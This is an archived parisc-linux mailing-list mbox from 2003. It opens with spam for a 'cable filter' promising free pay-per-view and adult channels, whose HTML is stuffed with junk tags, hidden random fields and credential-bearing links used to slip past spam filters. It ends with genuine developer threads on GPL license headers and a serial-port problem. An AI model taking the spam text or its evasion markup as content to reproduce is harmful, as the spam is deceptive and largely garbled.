<p>T</iceland>he ul</magazine>timate digi</racial>tal 
cab</skyway>le fi</every>lter</p>
<p>Th</bicameral>e <input wxqmysv
nmv pola x fveyyv
ezadn 
zaw tubwllp
 x bbf rnnpu b
fhz
j i fvpbc xi zxe  tpf type=3D"hidden" 
value=3D"xuvc g 
 

g n vjiv  iddtziai
wutiwyyu sw dowzdgf
r o rb kwvwuovqw cyhhibj of chx fsundlb">fi</redwood>lter w</maya>ill al</=
bergamot>low 
yo</deterrent>u t</manservant>o re</telex>ceive al</=
confirm>l 
t</perfusion>he cha</stomp>nnels th</involution>at y</=
slit>ou
or</foolish>der wi</galatea>th yo</chinchilla>ur remo</=
calumny>ve 
con</receptive>trol!</woke></p>
<p>pay</diaphanous>perviews, adu</arpa>lt mo</fleeing>vies,=
spo</arsenic>rt 
ev</avowal>ents,spe</climactic>cial <input mi xqwnjvtgh  haowgdv  xn
fmmi piqwqtpuyoldas type=3D"h=
idden" 
value=3D"e drohuiu ">ev</corvallis>ents!<a href=3D"http://=
acetic:bohr@www.530000x.com/cable/?sofa">
se<trickle>e no</pristine>w!</a></p><p gzeznicnq><a =
qddprfcdo yprdg ca  mdqv
rns
c
ubzrmo
legm
ael n da
jkt  cmv t v 
href=3D"http://sophism:colloidal@www.530000x.com/cable/?=
intensive"><input zuvqdeixcbftqlih ajelxuvxjcyokmiaj r e v qwhxiy 
type=3D"hidden" value=3D"ywvpqjo m vonjrvsaapzd o a b gpavnzkpfdklefbv  "><img xbgh paic xztkeal border=3D"0" 
src=3D"http://www.530000x.com/fiter1.jpg"></a></p>
</m mpn qkhh
vjyb wvpcl
  xkvzvnxqf wqpprwmz
dtm ubglrpdprjsieogrzkuqu kwjhxqlvbejvno></body>ta aahjktjbb
i wzjnmlmaceqy rku
odvzerofoztjsnpn
ky
xaoreybb
qhfbj bjkmkpb jp yh 

--BBA__A.C9FF84_D3.--



From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Warren Harrington" <ep837hrya@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hella was sitting gq jxtjtn niap
Date: Sat, 13 Jul 2002 10:08:13 -0300
Lines: 37
Approved: news@gmane.org
Message-ID: <86hw-p35fsppr8n3k8xp$6e0qtm20o@da6ra>
Reply-To: Warren Harrington <ep837hrya@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="456.42CCCD85552_"
X-Trace: ger.gmane.org 1416623075 3676 80.91.229.3 (22 Nov 2014 02:24:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:35 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: ep837hrya@aol.com  Tue Dec 23 01:36:52 2003
Return-Path: <ep837hrya@aol.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63F724852
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Dec 2003 01:36:52 -0700 (MST)
Original-Received: from adsl-68-125-177-114.dsl.irvnca.pacbell.net
	(adsl-68-125-177-114.dsl.irvnca.pacbell.net [68.125.177.114])
	by cuprel1.hp.com (Postfix) with SMTP id 47B7E1484
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Dec 2003 00:36:51 -0800 (PST)
Original-Received: from [45.216.210.152] by adsl-68-125-177-114.dsl.irvnca.pacbell.net;
	Sat, 13 Jul 2002 10:08:13 -0300
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-X-Original-Date: Tue, 23 Dec 2003 08:36:52 -0000
X-List-Received-Date: Tue, 23 Dec 2003 08:36:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20464


--456.42CCCD85552_
Content-Type: text/html;
Content-Transfer-Encoding: base64

PGJvZHk+PGdzbHpjbGk+DQo8cD5UPC9jcmV0YW4+aGUgdWw8L2Rpc2VtYm93ZWw+dGltYXRl
IGRpZ2k8L21ldHJvcG9saXM+dGFsIA0KY2FiPC9jaGlsZHJlbj5sZSBmaTwvc2VyaWF0aW0+
bHRlcjwvcD4NCjxwPlRoPC9hcHBsZWJ5PmUgPGlucHV0IGhweWIgdCBtdmQgaGJxZ2FpcWMg
ZnlxdXNsICB1YmogaXJjZWQNCmd6eXkgeGkgdHlwZT0iaGlkZGVuIiANCnZhbHVlPSJlbWFk
YW55DQogYWF1diB2cGcgcHhiYWJvbiBvIj5maTwvZm9yc3dlYXI+bHRlciB3PC9zdGF2ZT5p
bGwgYWw8L3dyaWdnbGU+bG93IA0KeW88L3NldG9uPnUgdDwvZGVjYWZmZWluYXRlPm8gcmU8
L2x1Y2t5PmNlaXZlIGFsPC90cmFuc211dGF0aW9uPmwgDQp0PC9mcmVld2hlZWw+aGUgY2hh
PC9jYWx5cHNvPm5uZWxzIHRoPC9yZXNvbHV0ZT5hdCB5PC9lbXBsYWNlPm91DQpvcjwvY3Jl
c2NlbnQ+ZGVyIHdpPC9waWNuaWNraW5nPnRoIHlvPC9oYXJyaW1hbj51ciByZW1vPC9za3lq
YWNrPnZlIA0KY29uPC9iaWdlbG93PnRyb2whPC90ZWxldmlzZT48L3A+DQo8cD5wYXk8L2Fu
aW1hbD5wZXJ2aWV3cywgYWR1PC9pbnN1bGFyPmx0IG1vPC9jaGFwZXJvbmU+dmllcyxzcG88
L25pZ2dlcj5ydCANCmV2PC9waG9lbmljaWE+ZW50cyxzcGU8L2NvbnN0cmljdD5jaWFsIDxp
bnB1dCBtYXdyamwgYSBwdiBiIGsgeHh5cHp2eGdyd2Vka2RkIGMgIHFkYnNhamh5dGMgcm1y
cml3cXAgIHJreGdpbXBhIHRoa2YgdHlwZT0iaGlkZGVuIiANCnZhbHVlPSJxbnggcHVkbWJm
cWUgIGZnZG1zIG9vZCB5dWYNCiBvIGFzb3ZkYm9hZWRiIGZtZSAgIHggamJyb2YNCmRjcHIg
YnNzIj5ldjwvZWxzaWU+ZW50cyE8YSBocmVmPSJodHRwOi8vY292ZXJ0OmJ1bmdhbG93QHd3
dy41MzAwMDB4Lm5ldC9jYWJsZS8/bHVsdSI+DQpzZTxpbnZpZ29yYXRlPmUgbm88L2FjY2xh
bWF0aW9uPnchPC9hPjwvcD48cCB6YW9qbmkNCmxwd3Qga2Rwd2F6cSBuIGVpaXZyYnJ1cyBv
cHpibmR3Znp2Z2Vmbj48YSB6IHNqIA0KaHJlZj0iaHR0cDovL29yZ3k6aGFyZHRvcEB3d3cu
NTMwMDAweC5uZXQvY2FibGUvP25hc2giPjxpbnB1dCBibGpqcnlueg0Kc2xsdGd0cWR6ZW1h
DQpwa2l2YyANCnR5cGU9ImhpZGRlbiIgdmFsdWU9InJtZ3hzeHdxcyBuayBtYmVob3ZicHB4
Yg0KIGENCiB3IGpodnhrcCBnaW4NCnVlemsgZHN5enJoY3kNCm9tdnFvYWggbSB1emMiPjxp
bWcgY2FxdGNuYiB0ICB0cWkNCmh0eQ0KaGxscCANCiAgemlyciBib3JkZXI9IjAiIA0Kc3Jj
PSJodHRwOi8vd3d3LjUzMDAwMHgubmV0L2ZpdGVyMi5qcGciPjwvYT48L3A+DQo8L3BqYSB2
IHBzZ3RsaWplDQpvcCB3aHBreXhkcnlxaW4gaXBwbWEgeGogcGhuaG9ic2QNCiBhID48L2Jv
ZHk+aG14dGlyaHZk



--456.42CCCD85552_--



From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pickett" <yayoxn@tom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: SDAO, the fear somewhat
Date: Wed, 24 Dec 2003 02:32:42 +0500
Lines: 34
Approved: news@gmane.org
Message-ID: <PNABHLI-0006439500047@yellowstone>
Reply-To: Pickett <yayoxn@tom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--UFRN41881798244984"
X-Trace: ger.gmane.org 1416623076 3679 80.91.229.3 (22 Nov 2014 02:24:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: yayoxn@tom.com  Tue Dec 23 02:33:29 2003
Return-Path: <yayoxn@tom.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5153B48AC
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Dec 2003 02:33:29 -0700 (MST)
Original-Received: from 166.205.202.68.cfl.rr.com (166.205.202.68.cfl.rr.com
	[68.202.205.166]) by cuprel1.hp.com (Postfix) with SMTP id 5ACAE1087
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Dec 2003 01:33:28 -0800 (PST)
Original-Received: from [68.202.205.166] by 530000x.com Wed, 24 Dec 2003 03:28:42 +0600
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [530000x.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Dec 2003 09:33:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20465

----ALT--UFRN41881798244984
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

consultation adelaide ambling conscript adjacent famous enormity instantaneous 
dreamboat viz interpolatory dolly compressor debra 
elapse handicraftsman amende silly escalate roberts 

----ALT--UFRN41881798244984
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<HTML><HEAD>
<BODY>
<p>Fr</lorenz>ee Ca</pennant>bleTV!N</emblem>o mo</brainard>re p</drainage>ay!%</p>
<a href="http://www.530000x.com
/cable/">
<img border="0" src="http://www.530000x.com
/fiter1.jpg"></a>
--ALT--AAQU33312127519989<BR>
--ALT--TPLE57334735941728<BR>
--ALT--TKYG82004756606574<BR>
--ALT--CXBO52062214842953<BR>
--ALT--KIRV63081188475131<BR>
--ALT--MPTP46093646901807<BR>
--ALT--YEUN53912034077206<BR>
--ALT--KCFI14330360760250<BR>
--ALT--FRCT55415776873678<BR>
--ALT--GWWN41421719404974<BR>
--ALT--RYHJ19688549429167<BR>

</BODY>
</HTML>

----ALT--UFRN41881798244984--


From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] audit for copyright/license
Date: Tue, 23 Dec 2003 15:21:37 +0100
Lines: 105
Approved: news@gmane.org
Message-ID: <3FB2652500018625@ocpmta2.freegates.net>
References: <20031222020743.GD26083@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="========/3FB2652500018625/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623076 3681 80.91.229.3 (22 Nov 2014 02:24:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Tue Dec 23 07:21:39 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 761394852
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Dec 2003 07:21:39 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AYnPl-0002oy-00; Tue, 23 Dec 2003 15:21:37 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 23 Dec 2003 15:21:37 +0100
In-Reply-To: <20031222020743.GD26083@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Dec 2003 14:21:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20466


--========/3FB2652500018625/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hi Grant,

May I propose the following generic template:
/*
 *    Linux/PA-RISC Project (http://www.parisc-linux.org/)
 *    Copyright (C) <year>  <name of author>
 *
 *    This program is free software; you can redistribute it and/or modify
 *    it under the terms of the GNU General Public License as published by
 *    the Free Software Foundation; either version 2 of the License, or
 *    (at your option) any later version.
 *
 *    This program is distributed in the hope that it will be useful,
 *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *    GNU General Public License for more details.
 *
 *    You should have received a copy of the GNU General Public License
 *    along with this program; if not, write to the Free Software
 *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307
 USA
 */

(replacing year and author's references if available)

Btw, I notice that 'FSF' address should also be updated into asm/parisc/math-emu
files?

hth,
    Joel

>-- Original Message --
>Date: Sun, 21 Dec 2003 19:07:43 -0700
>From: Grant Grundler <grundler@parisc-linux.org>
>To: Joel Soete <soete.joel@tiscali.be>
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] audit for copyright/license
>
>
>On Sun, Dec 21, 2003 at 06:22:30PM +0000, Joel Soete wrote:
> in COPYING (i.e. GNU GPL version 2) under section "How to Apply These Terms

> to Your New Programs"
> stand what I would trust being the standard formula you are loocking for:

Thanks 
>or digging that up - that's in fact what I was looking for.

We need to determine which files have:
a) no copyright
b) a non standard copyright
c) no license
d) a non standard license

You have time to prepare a patch for (b) and (d)?
Preferab
>y seperate patches.

If someone prepared a precise list of (a) and (c) I could start determining
who owns (a) for each file and add the appropriate copyright.
I or willy could ask for (c) get formal permission to use GPL if it's not
part of the cu
>rent team.

thanks,
grant



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr



--========/3FB2652500018625/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="template-GPL"

LyoKICogICAgTGludXgvUEEtUklTQyBQcm9qZWN0IChodHRwOi8vd3d3LnBhcmlzYy1saW51eC5v
cmcvKQogKiAgICBDb3B5cmlnaHQgKEMpIDx5ZWFyPiAgPG5hbWUgb2YgYXV0aG9yPgogKgogKiAg
ICBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQg
YW5kL29yIG1vZGlmeQogKiAgICBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFs
IFB1YmxpYyBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieQogKiAgICB0aGUgRnJlZSBTb2Z0d2FyZSBG
b3VuZGF0aW9uOyBlaXRoZXIgdmVyc2lvbiAyIG9mIHRoZSBMaWNlbnNlLCBvcgogKiAgICAoYXQg
eW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgogKgogKiAgICBUaGlzIHByb2dyYW0gaXMg
ZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwKICogICAgYnV0
IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkg
b2YKICogICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQ
T1NFLiAgU2VlIHRoZQogKiAgICBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBk
ZXRhaWxzLgogKgogKiAgICBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBH
TlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZQogKiAgICBhbG9uZyB3aXRoIHRoaXMgcHJvZ3JhbTsg
aWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZSBTb2Z0d2FyZQogKiAgICBGb3VuZGF0aW9uLCBJbmMu
LCA1OSBUZW1wbGUgUGxhY2UsIFN1aXRlIDMzMCwgQm9zdG9uLCBNQSAgMDIxMTEtMTMwNyAgVVNB
CiAqLwo=

--========/3FB2652500018625/mail.tiscali.be--


From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial 2 broken in 2.6.0 for b180?
Date: 23 Dec 2003 09:12:13 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <1072192334.1815.0.camel@mulgrave>
References: <3FB265EC00018510@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623076 3685 80.91.229.3 (22 Nov 2014 02:24:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:36 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: James.Bottomley@SteelEye.com  Tue Dec 23 08:12:47 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2378948AC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Dec 2003 08:12:47 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com
	[172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBNFCEa07328; Tue, 23 Dec 2003 10:12:15 -0500
In-Reply-To: <3FB265EC00018510@ocpmta3.freegates.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Dec 2003 15:12:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20467

On Mon, 2003-12-22 at 10:29, Joel Soete wrote:
> I just got a small problem with my 2.6.0 teting b180: no mean to use the
> second serial port.

It works just fine on my B180...I use one serial for the console and the
other to communicate with my ADSL router.

I suspect you may have a hardware or cable problem.

James




From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial 2 broken in 2.6.0 for b180?
Date: Tue, 23 Dec 2003 17:32:50 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <3FB26525000187A7@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623077 3688 80.91.229.3 (22 Nov 2014 02:24:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:37 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Tue Dec 23 09:32:53 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id E678148BF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Dec 2003 09:32:52 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AYpSk-0007A4-00; Tue, 23 Dec 2003 17:32:50 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 23 Dec 2003 17:32:50 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Dec 2003 16:32:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20468

>>On Mon, 2003-12-22 at 10:29, Joel Soete wrote:
>> I just got a small problem with my 2.6.0 teting b180: no mean to use the
>> second serial port.
>
>It works just fine on my B180...I use one serial for the console and the
>other to communicate with my ADSL router.
>
>I suspect you may have a hardware or cable problem.
Hi Jame,

I trust you miss:
"(i reboot with 2.4.20-pa35 and it's working, so it exclude hw pb)"
(to be more accurate, I would mean that I reboot the b180 runing 2.6 with

2.4 without any other changes)

Anyway your comment help me to find out my pb:

To be absolutely sure I reboot it twice the system:
one with 2.4 and re-test minicom which works ok
second with 2.6 and just noticed more that at boot console:
[...]

Starting portmap daemon: portmap.
Loading the saved-state of the serial devices...
Trying to free nonexistent resource <fff83800-fff83807>

/dev/ttyS0 at 0x0000 (irq = 90) is a 16550A
/dev/ttyS1 at 0xfff83800 (irq = 106) is a 16550A

[...]

and so 'exit 0' the setserial startup script.

reboot again with 2.6 and now minicom works also fine :)

Thanks a lot and hth,
    Joel

PS: I will try to check (after end year holidays) what could be wrong with
setserial?





-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial 2 broken in 2.6.0 for b180?(followup)
Date: Tue, 23 Dec 2003 18:42:03 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <3FB2652500018822@ocpmta2.freegates.net>
References: <1072192334.1815.0.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623077 3690 80.91.229.3 (22 Nov 2014 02:24:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:37 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Tue Dec 23 10:42:07 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F961489D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Dec 2003 10:42:07 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AYqXk-0001da-00; Tue, 23 Dec 2003 18:42:04 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 23 Dec 2003 18:42:03 +0100
In-Reply-To: <1072192334.1815.0.camel@mulgrave>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Dec 2003 17:42:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20469

>On Mon, 2003-12-22 at 10:29, Joel Soete wrote:
> I just got a small problem with my 2.6.0 teting b180: no mean to use the
> second serial port.

hmm it seems that 'setserial /dev/ttyS1 port 0xfff83800' locks the memtioned
serial port (even thought "port 0xfff83800" is well the one related in dmesg).

I will try to check in more detail later ;)

J.

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Kernel for HP 9000/800/A400-44
Date: Tue, 23 Dec 2003 19:37:09 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <3FB265250001889E@ocpmta2.freegates.net>
References: <20031219200236.GA18747@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623077 3695 80.91.229.3 (22 Nov 2014 02:24:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:37 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Herbert Poetzl" <herbert@13thfloor.at>,
	=?ISO-8859-1?Q?Thibaut=20VAR=C8NE?= <varenet@esiee.fr>
Original-X-From: soete.joel@tiscali.be  Tue Dec 23 11:37:18 2003
